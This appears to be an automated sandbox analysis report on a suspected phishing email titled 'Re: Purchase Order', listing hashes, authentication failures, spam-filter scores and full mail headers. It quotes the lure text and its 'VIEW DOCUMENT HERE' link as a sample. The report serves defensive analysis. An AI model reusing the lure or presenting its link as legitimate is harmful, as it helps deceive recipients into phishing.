                                              Preview:(()=>{"use strict";var e,d={},i={};function a(e){var n=i[e];if(void 0!==n)return n.exports;var r=i[e]={id:e,loaded:!1,exports:{}};return d[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=d,e=[],a.O=(n,r,c,f)=>{if(!r){var u=1/0;for(l=0;l<e.length;l++){for(var[r,c,f]=e[l],o=!0,t=0;t<r.length;t++)(!1&f||u>=f)&&Object.keys(a.O).every(p=>a.O[p](r[t]))?r.splice(t--,1):(o=!1,f<u&&(u=f));if(o){e.splice(l--,1);var s=c();void 0!==s&&(n=s)}}return n}f=f||0;for(var l=e.length;l>0&&e[l-1][2]>f;l--)e[l]=e[l-1];e[l]=[r,c,f]},a.n=e=>{var n=e&&e.__esModule?()=>e.default:()=>e;return a.d(n,{a:n}),n},a.d=(e,n)=>{for(var r in n)a.o(n,r)&&!a.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},a.o=(e,n)=>Object.prototype.hasOwnProperty.call(e,n),a.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),(()=>{var e={666:0};a.O.j=c=>0===e[c];var n=(c,f)=>{var t,s,[l,u,o]=f,v=0;if(l.some(_=>0!==e[_])){for(t in u)a.o(u,t)&&(a.m[t]=u[t]);if(o)var h=o(a)}for(c&&c(f);v<l.length;v++)a.o(e,s=l[v])&&e[s

                                              Chrome Cache Entry: 99

                                              Download File
                                              Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                              File Type:very short file (no magic)
                                              Category:dropped
                                              Size (bytes):1
                                              Entropy (8bit):0.0
                                              Encrypted:false
                                              SSDEEP:
                                              MD5:C4CA4238A0B923820DCC509A6F75849B
                                              SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                              SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                              SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                              Malicious:false
                                              Reputation:unknown
                                              Preview:1

                                              Static File Info

                                              General

                                              File type:RFC 822 mail, ASCII text, with very long lines (621), with CRLF line terminators
                                              Entropy (8bit):6.093763883377099
                                              TrID:
                                              • E-Mail message (Var. 5) (54515/1) 100.00%
                                              File name:phish_alert_iocp_v1.4.48.eml
                                              File size:34'107 bytes
                                              MD5:23b59a518bcbd70e8fe527fc6d2f16f1
                                              SHA1:045a284b87bf643bf0b3202272e14822cd60f2b5
                                              SHA256:cb015b45a3fd98c77210dfab6d0c911bfc9608c560ab37214532d957eb0e49e3
                                              SHA512:4a088bcb737ca612944db8204c7d58cdcb70a904f6825dfca1c14cc29d65c7bdb03a42ddee7905a099c489aae2780c770ca996b1a366a4050cdf2294cb378003
                                              SSDEEP:768:Hn6JMTbNBlS2TB+kaGjrkjHtLD5vSqA0GUDFOcu8PT:Hn6JMTbNB4UBbaGqDFA0GUZOcuE
                                              TLSH:C5E26C958512101AF6E729DC7B02774936A23B8FCCE3EAD476E72111DE8F85213573CA
                                              File Content Preview:Received: from LV8PR22MB5302.namprd22.prod.outlook.com.. (2603:10b6:408:1c2::9) by PH0PR22MB3427.namprd22.prod.outlook.com with.. HTTPS; Thu, 22 Feb 2024 21:28:56 +0000..ARC-Seal: i=2; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=fail;.. b=e9EsHAk

                                              Static Mail

                                              General

                                              Subject:Re: Purchase Order
                                              From:Travis McGee <travis@smithanalytical.com>
                                              To:Travis McGee <travis@smithanalytical.com>
                                              Cc:
                                              BCC:
                                              Date:Thu, 22 Feb 2024 13:26:41 -0800
                                              Communications:
                                              • [EXTERNAL EMAIL: Take caution with links and attachments. ] Good Day As per discussion's see below Signed Purchase Order as requested, kindly e-mail your invoice for processing. Please find attached documents and advice : * VIEW DOCUMENT HERE <https://clicktime.cloud.postoffice.net/clicktime.php?U=https%3A%2F%2Fc.mail.com%2F%401330138059395571831%2FwNcKR19EQGCH-PAeqcF_hg&E=tbirman%40firstfedweb.com&X=XID631CBVVAt1272Xd1&T=FF1001&HV=U,E,X,T&H=90ce500deef4372355e7c1dbba938c308a6c33e0> Thanks, Travis McGee Smith Analytical 5318 FM 517 West Building A Alvin, Texas 77511 (281) 667-6463 https://clicktime.cloud.postoffice.net/clicktime.php?U=www.smithanalytical.com&E=tbirman%40firstfedweb.com&X=XID631CBVVAt1272Xd1&T=FF1001&HV=U,E,X,T&H=c14fde2fff7c0cacfe5cb213432f8dcd532e58e4 <https://clicktime.cloud.postoffice.net/clicktime.php?U=http%3A%2F%2Fwww.smithanalytical.com%2F&E=tbirman%40firstfedweb.com&X=XID631CBVVAt1272Xd1&T=FF1001&HV=U,E,X,T&H=cbb3f469e6d9e7dd2842504aef95b12fc56108b0>
                                              Attachments:
                                              • image.png

                                              Headers

                                              Key Value
                                              ReceivedThu, 22 Feb 2024 13:28:56 -0800
                                              ARC-Seali=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none; b=FKTXV5Hk2YtsEoe07kDchiA9WjGFs+R5lufALdrtWB8+/Vq+F0kW/MDwd+PFuZYcgdiPGxI8CI2thVzMr9V9ZLM5JWVXogJxBxHcRNS0iT1+UKfFaw/OLYhi3FeZIIaLuRtTGDERrwZ6xv50n62BK1dVrxxhTYH4rOtpwwYzQFM1QjdvRQ2kkCEgC4ckgSbN5QGX86nXyqevCw3DfnQgD4t3s911tMVnYRhJZa8GWYM1LQYAxcWzL7ZsylAX288lGzp/RPZtoMN+P3VAYcxVDu4H+LMJm8l1HahP8JJtjBrpNDREY4UBMZG7a8EiVapUAIqn2oxiSKqBRx3ANFDBZg==
                                              ARC-Message-Signaturei=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com; s=arcselector9901; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1; bh=oV8QwjYMG4TRar4oTINiroaL2LWflUyUJnpGi+3s2Ic=; b=QxpNyAMAdpdtEI51Bn4QSStfz6NgYYCSY2s1r9G4yum1orrFSt2/jou1wu6p9CgmLG2BoICzf8SAD5O6f/Nh+wctmwtsMBe60j8ITaRfVERuZWYdpmtDfVI9Pr5bN2FRSGvEjbp0biampN0VXOkyFfUDjYPTjf4VB9vt12zh2+k+v9wxUA+vuwwMOvlWTbiQo+UrMUYLoB3MK/T4Lv8kJdaeAapfcXxu+ucxMRYcrZa0dMzIv4I5Fd+vXcLHnUykfTCS8l2xjatzzaUnzlsjfQ6xpapEGyRlEQnhR07zOqw4X7vME6svLSbhWzqJgaOh58ndlF3o23eQhescGm6mmA==
                                              ARC-Authentication-Resultsi=1; mx.microsoft.com 1; spf=pass smtp.mailfrom=smithanalytical.com; dmarc=pass action=none header.from=smithanalytical.com; dkim=pass header.d=smithanalytical.com; arc=none
                                              Authentication-Resultsspf=fail (sender IP is 165.212.64.15) smtp.mailfrom=smithanalytical.com; dkim=fail (body hash did not verify) header.d=NETORG3115844.onmicrosoft.com;dmarc=none action=none header.from=smithanalytical.com;compauth=none reason=405
                                              received-spfFail (protection.outlook.com: domain of smithanalytical.com does not designate 165.212.64.15 as permitted sender) receiver=protection.outlook.com; client-ip=165.212.64.15; helo=postin02.mbox.net;
                                              X-USANET-Receivedfrom emd1.mbox.net [165.212.64.8] by gws6.mbox.net via mtad (GIT.BUILD.5.0.3133) with ESMTP id 669CBVVAt8640Ms6; Thu, 22 Feb 2024 21:26:45 -0000
                                              X-USANET-TAP-Score0
                                              X-USANET-Routed100 IN-RELAY R:gwsin-int:625
                                              X-USANET-GWS2-Servicegwsdin-tap preclick-never
                                              X-USANET-GWS2-Tenantfirstfedweb.com
                                              X-USANET-GWS2-TagidFF1001
                                              X-USANET-GWS2-MailFromDnsResultDnsFound
                                              X-USANET-GWS2-SecurityTLSv1.2;ECDHE-RSA-AES256-GCM-SHA384
                                              X-USANET-Source40.107.236.100 IN travis@smithanalytical.com NAM11-BN8-obe.outbound.protection.outlook.com TLS
                                              X-USANET-MsgIdXID631CBVVAt1272Xd1
                                              X-BAEAI-Trust-Score63
                                              X-BAEAI-Trust-ReasonsSNDRAUTH; PAYTRM; RCPTFRG; SNDRNEW; DOMRARE,smithanalytical.com; RCPTVIP;
                                              DKIM-Signaturev=1; a=rsa-sha256; c=relaxed/relaxed; d=NETORG3115844.onmicrosoft.com; s=selector2-NETORG3115844-onmicrosoft-com; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck; bh=oV8QwjYMG4TRar4oTINiroaL2LWflUyUJnpGi+3s2Ic=; b=XByy+B3tARzxSFbt9WXcOYyH7rpMWIdm6/hdNn1/Zk/JoDDP0ZHoSu+C9iuY/NTbRFyKsHYospNavilbw/AsxmPqZ+UfjepO8EjeCHwIKmDQZltfbFv3cvvC7OWmD5i5CX5aJKQfGwdZf/yzR8aKOgapB6LRa+w14MQsuGPkY6g=
                                              Thread-TopicPurchase Order
                                              Thread-IndexAQHaZdRuAXpbMuEHk0GuSZrMS1NyWQ==
                                              Accept-Languageen-US
                                              Content-Languageen-US
                                              X-MS-Has-Attachyes
                                              X-MS-TNEF-Correlator
                                              msip_labels
                                              Authentication-Results-Originaldkim=none (message not signed) header.d=none;dmarc=none action=none header.from=smithanalytical.com;
                                              x-ms-traffictypediagnostic MW4PR13MB5505:EE_|SA1PR13MB5587:EE_|SJ1PEPF00001CDF:EE_|LV8PR22MB5302:EE_|PH0PR22MB3427:EE_
                                              X-MS-Office365-Filtering-Correlation-Id 9313b014-30f4-4548-b468-08dc33ed441b
                                              x-ms-exchange-senderadcheck1
                                              x-ms-exchange-antispam-relay0
                                              X-Microsoft-Antispam-UntrustedBCL:0;
                                              X-Microsoft-Antispam-Message-Info-Original OOEAT8tMNR9Mdz4lFJTcakIN4Ka82Glcat7V73sNT76alFUtgnWx6SG5M0al9QU6Rr3lxCKRPUu8E0oP4O0X8uyJLhTQoDz18csrO8fI4vC+wB9FwMKOVqfS+3GopQ5GEgIoD/BrUg6waoq234tF8Ko2SfgHZ/cRsn4DwD44jFlx1ApG8eKAdXvKJaeogOJI9jBfb8kgzzGwDAYnYQqN3KU8HSrSZUwOcoBpX147SUKbZcMhHrUmj4P9gJv1+gDXOjQpZAG3SHZJJ2TiLGU7nRM/Y/5xwVMctTLUtOpQQoKCu0OoFLG4hZBg/lZzUXulMOXtFDzTcRXApqYRfEM6Y5IibE1JYAo7VJRr9G3oP+G7gQel4FaKx1TzKu8AFrOwcJAOqG9pb53qENeKxylF2V64Ggx8at5HpOIKrx4XQpJNmLZtnwBOANQYihWTZkCWxGdy36FvQJc17VtKrCjJDEy3IZxeFkMbZt39ijRx+PRhbM11mQ/8CZllUXUl1yaUVWmrJ3Din3QF9Faym2R0f2d3nHlQnX31fhstzPeCTKOWZQEPvdP7PJNoHwXt74SK+Jzyhbs0YwS5dw8zZcWf1ksYOXCBPNz6qzHIxXX7PHs=
                                              X-Forefront-Antispam-Report-Untrusted CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:MW4PR13MB5505.namprd13.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230031)(38070700009);DIR:OUT;SFP:1102;
                                              X-MS-Exchange-Transport-CrossTenantHeadersStampedLV8PR22MB5302
                                              X-Cloudmark-Trackerv=2.4 cv=DOKJ4TNb c=1 sm=1 tr=0 ts=65d7bc17 cx=a_idp_d a=/vV/MJcM//mkOU8WkOTu7Q==:117 a=xqWC_Br6kY4A:10 a=k7vzHIieQBIA:10 a=lAZtBOpH61MA:10 a=hEh3JUyyAAAA:8 a=2FPvEinGAAAA:8 a=SmwwMpB0iydBp0XqtfMA:9 a=wPNLvfGTeEIA:10 a=dDUa_XrNM_IA:10 a=ZXulRonScM0A:10 a=0JZkXNAvXuZNclt9:21 a=frz4AuCg-hUA:10 a=_W_S_7VecoQA:10 a=lqcHg5cX4UMA:10 a=tfekiWcZKU24Pl4lYiIA:9 a=KQqxNPgzF0kA:10 a=T6a71-JsGAwA:10 a=jVH5j0V06h6VRSleel9d:22 a=2zc478nfxxVL_FCnpTIs:22 a=1P-LJfTBqEmvCDF4bTp4:22 a=Lcw6dl7kLhG240Z2xKZo:22 a=HhbK4dLum7pmb74im6QT:22 a=7PlhcU7xGnINJ2miruxK:22 a=45HF0pJPDL8m8Mht7vmy:22 a=pHzHmUro8NiASowvMSCR:22 a=n87TN5wuljxrRezIQYnT:22
                                              X-LASED-VersionAntispam-Engine: 5.1.4, AntispamData: 2024.2.22.205715
                                              X-LASED-SpamProbability0.095349
                                              X-LASED-SpamNonSpam
                                              X-LASED-HitsBODYTEXTH_SIZE_10000_LESS 0.000000, BODYTEXTH_SIZE_3000_MORE 0.000000, BODYTEXTP_SIZE_3000_LESS 0.000000, BODY_SIZE_10000_PLUS 0.000000, DKIM_SIGNATURE 0.000000, FRAUD_ATTACH 0.050000, FROM_SAME_AS_TO 0.050000, FROM_SAME_AS_TO_DOMAIN 0.000000, HREF_LABEL_TEXT_ONLY 0.000000, HTML_90_100 0.100000, HTML_FONT_INVISIBLE 0.100000, INVOICE_ATTACHMENT 0.100000, INVOICE_ATTACHMENT_CTA_URI 0.000000, JPG_COMMON_HEADER_ORDER 0.000000, JPG_SPAMMY_SEGMENT 0.000000, KNOWN_MTA_TFX 0.000000, LEO_OBFU_SUBJ_RE 0.100000, OBFUSCATION 0.000000, SINGLE_IMG_ATTACH 0.000000, SXL_IP_TFX_WM 0.000000, TEXT_DIRECTION 0.000000, TEXT_DIR_LTR_ONLY 0.000000, TRANSACTIONAL 0.000000, WEBMAIL_SOURCE 0.000000, __ANY_URI 0.000000, __ARCAUTH_DKIM_PASSED 0.000000, __ARCAUTH_DMARC_PASSED 0.000000, __ARCAUTH_PASSED 0.000000, __ARC_SEAL_MICROSOFT 0.000000, __ARC_SIGNATURE_MICROSOFT 0.000000, __ATTACHMENT_PHRASE 0.000000, __ATTACH_CTE_BASE64 0.000000, __ATTACH_CTE_QUOTED_PRINTABLE 0.000000, __BODY_NO_MAILTO 0.000000, __BODY_TEXT_X4 0.000000, __BOUNCE_CHALLENGE_SUBJ 0.000000, __BOUNCE_NDR_SUBJ_EXEMPT 0.000000, __CP_URI_IN_BODY 0.000000, __CT 0.000000, __CTYPE_HAS_BOUNDARY 0.000000, __CTYPE_MULTIPART 0.000000, __CTYPE_MULTIPART_ALT 0.000000, __DQ_NEG_DOMAIN 0.000000, __DQ_NEG_HEUR 0.000000, __DQ_NEG_IP 0.000000, __EXTRA_MPART_TYPE_1 0.000000, __EXTRA_MPART_TYPE_N1 0.000000, __FILESHARE_PHRASE 0.000000, __FROM_ADDY_SHORT_LC 0.000000, __FROM_DOMAIN_IN_ANY_TO1 0.000000, __FUR_HEADER 0.000000, __FUR_RDNS_OUTLOOK 0.000000, __HAS_ATTACHMENT 0.000000, __HAS_ATTACHMENT1 0.000000, __HAS_ATTACHMENT2 0.000000, __HAS_FROM 0.000000, __HAS_HTML 0.000000, __HAS_MSGID 0.000000, __HAS_X_FF_ASR 0.000000, __HAS_X_FF_ASR_CAT 0.000000, __HAS_X_FF_ASR_SFV 0.000000, __HIDDEN_HTML_CONTENT 0.000000, __HREF_LABEL_PHISH 0.000000, __HREF_LABEL_TEXT 0.000000, __HREF_LABEL_URI 0.000000, __HTML_AHREF_TAG 0.000000, __HTML_ATTR_DIR 0.000000, __HTML_BOLD 0.000000, __HTML_DIR_LTR 0.000000, __HTML_HREF_TAG_X2 0.000000, __HTML_TAG_DIV 0.000000, __HTTPS_URI 0.000000, __IMG_ATTACHED 0.000000, __IMG_SIZE_1K_10K 0.000000, __INVOICE_MULTILINGUAL 0.000000, __JPG_SPAMMY_SEGMENT_2 0.000000, __JPG_WIDTH_100 0.000000, __MIME_ATTACHMENT_1_N 0.000000, __MIME_ATTACHMENT_N_2 0.000000, __MIME_HTML 0.000000, __MIME_TEXT_H 0.000000, __MIME_TEXT_H1 0.000000, __MIME_TEXT_H2 0.000000, __MIME_TEXT_P 0.000000, __MIME_TEXT_P1 0.000000, __MIME_TEXT_P2 0.000000, __MIME_VERSION 0.000000, __MSGID_32_64_CAPS 0.000000, __MULTIPLE_URI_HTML 0.000000, __MULTIPLE_URI_TEXT 0.000000, __PART_TYPE_HTML 0.000000, __PHISH_PHRASE10_D 0.000000, __PHISH_SUBJ_PHRASE1 0.000000, __RDNS_WEBMAIL 0.000000, __SANE_MSGID 0.000000, __STYLE_RATWARE_NEG 0.000000, __STYLE_TAG 0.000000, __SUBJ_ALPHA_END 0.000000, __SUBJ_ALPHA_NEGATE 0.000000, __SUBJ_REPLY 0.000000, __SUBJ_SHORT 0.000000, __SUBJ_TRANSACTIONAL 0.000000, __SUBJ_TR_GEN 0.000000, __TAG_EXISTS_HTML 0.000000, __TEXT_DIR_LTR 0.000000, __TO_DOMAIN_IN_FROM 0.000000, __TO_HOST_IN_FROM 0.000000, __TO_MALFORMED_2 0.000000, __TO_NAME 0.000000, __TO_NAME_DIFF_FROM_ACC 0.000000, __TO_REAL_NAMES 0.000000, __URI_CTA_NOT_DOCUSIGN2 0.000000, __URI_ENDS_IN_SLASH 0.000000, __URI_IN_BODY 0.000000, __URI_NOT_IMG 0.000000, __URI_NO_MAILTO 0.000000, __URI_NS 0.000000, __URI_WITHOUT_PATH 0.000000, __URI_WITH_PATH 0.000000, __X_FF_ASR_SCL_NSP 0.000000, __X_FF_ASR_SFV_NSPM 0.000000
                                              X-LASED-ImpersonationFalse
                                              X-Sophos-Tracker0.095349 9d2c4e4516eba21c591e4ba79b872d45549db8db
                                              X-BAEAI-Source-GeoIP"US" "Virginia" "Boydton"
                                              X-BAEAI-SPFPASS
                                              X-BAEAI-DKIMPASS
                                              X-BAEAI-DMARCabsent
                                              X-BAEAI-Authentication-Ratingstrong
                                              X-BAEAI-Trust-Levelamber
                                              Return-Pathtravis@smithanalytical.com
                                              X-MS-Exchange-Organization-ExpirationStartTime22 Feb 2024 21:28:52.2699 (UTC)
                                              X-MS-Exchange-Organization-ExpirationStartTimeReasonOriginalSubmit
                                              X-MS-Exchange-Organization-ExpirationInterval1:00:00:00.0000000
                                              X-MS-Exchange-Organization-ExpirationIntervalReasonOriginalSubmit
                                              X-MS-Exchange-Organization-Network-Message-Id 9313b014-30f4-4548-b468-08dc33ed441b
                                              X-EOPAttributedMessage0
                                              X-EOPTenantAttributedMessage3778f0b2-789a-4d43-b25e-d4fe25a4c3c0:0
                                              X-MS-Exchange-Organization-MessageDirectionalityIncoming
                                              X-MS-Exchange-Transport-CrossTenantHeadersStripped SJ1PEPF00001CDF.namprd05.prod.outlook.com
                                              x-ms-publictraffictypeEmail
                                              x-ms-exchange-organization-authsource SJ1PEPF00001CDF.namprd05.prod.outlook.com
                                              x-ms-exchange-organization-authasAnonymous
                                              X-MS-Office365-Filtering-Correlation-Id-Prvs cb16288d-0eaf-45a9-9eb5-08dc33ecf5fa
                                              X-MS-Exchange-AtpMessagePropertiesSA|SL
                                              X-MS-Exchange-Organization-SCL-1
                                              X-MS-Exchange-Organization-BypassClutter$true
                                              X-Microsoft-AntispamBCL:0;
                                              X-Forefront-Antispam-Report CIP:165.212.64.15;CTRY:US;LANG:en;SCL:-1;SRV:;IPV:NLI;SFV:NSPM;H:postin02.mbox.net;PTR:postin02.mbox.net;CAT:NONE;SFS:;DIR:INB;
                                              X-MS-Exchange-CrossTenant-OriginalArrivalTime22 Feb 2024 21:28:51.8793 (UTC)
                                              X-MS-Exchange-CrossTenant-Network-Message-Id 9313b014-30f4-4548-b468-08dc33ed441b
                                              X-MS-Exchange-CrossTenant-Id3778f0b2-789a-4d43-b25e-d4fe25a4c3c0
                                              X-MS-Exchange-CrossTenant-AuthSource SJ1PEPF00001CDF.namprd05.prod.outlook.com
                                              X-MS-Exchange-CrossTenant-AuthAsAnonymous
                                              X-MS-Exchange-CrossTenant-FromEntityHeaderInternet
                                              X-MS-Exchange-Transport-EndToEndLatency00:00:04.3793851
                                              X-MS-Exchange-Processed-By-BccFoldering15.20.7316.016
                                              X-Microsoft-Antispam-Mailbox-Delivery ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003);
                                              X-Microsoft-Antispam-Message-Info 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
                                              x-ms-exchange-organization-originalclientipaddress165.212.64.15
                                              x-ms-exchange-organization-originalserveripaddress10.167.242.7
                                              acceptlanguageen-US
                                              X-Priority3
                                              X-MSMail-PriorityNormal
                                              Message-ID <MW4PR13MB550581E3046BCC76526689E5DD562@MW4PR13MB5505.namprd13.prod.outlook.com>
                                              FromTravis McGee <travis@smithanalytical.com>
                                              ToTravis McGee <travis@smithanalytical.com>
                                              SubjectRe: Purchase Order
                                              DateThu, 22 Feb 2024 13:26:41 -0800
                                              MIME-Version1.0
                                              Content-typeMultipart/related; charset="iso-8859-1"; boundary="00B0FEED_message_boundary"
                                              Content-DescriptionMultipart message

                                              File Icon

                                              Icon Hash:46070c0a8e0c67d6